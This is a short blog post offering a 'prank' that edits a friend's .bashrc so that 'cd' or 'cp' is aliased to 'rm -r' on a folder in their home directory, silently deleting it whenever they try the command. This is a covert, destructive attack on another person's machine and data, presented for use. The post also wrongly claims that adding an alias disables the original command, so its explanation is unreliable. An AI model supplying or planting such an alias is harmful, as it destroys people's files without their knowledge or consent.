How To Mess with Someone’s .bashrc file

So, this post is basically written for those evil minds linux users who like to mess around with their friend’s laptop and make their life a living hell!!

Muhahahahahahhahahaha 😀

Now, we got this file called the .bashrc file which is basically a shell script which runs every time you start your terminal.

And thanks to linux which gives us the freedom to modify it (the .baschrc file) according to our own requirements.

Anyway, open the .bashrc file on the text editor of your choice.

Its located in your /home/user directory.

Now, go through it, and you will see a section where a few ‘alias’ commands are written.  As shown here:

Now the alias is basically a command to make shortcut to your already existing commands for your own ease.

For e.g.

alias copy=’cp’

So, after adding this line in those list of alias command at that place only, so when you type cp on the terminal(don’t forget to restart the terminal as only then the changes will be reflected), it won’t work but if you type copy, it will work 🙂

SO, your evil mind must be the thinking the same as I am 🙂

take your friend’s laptop, open the .bashrc file AND………………..


for eg.  alias the cp/cd command to rm -r /home/user/<folder name>!!

$alias alias cd=’rm -r /home/user/<folder name>’

So, when the poor fellow is thinking that he is doing the cd command, but he is deleting his entire important folder :D!!

Posted by:

Anirudh Tiwari

About Mrinal Saha

Mrinal is a tech geek who spends half of his day reading and writing about tech. While the nights are spent on shooting or editing YouTube videos. Feel free to geek out with him on-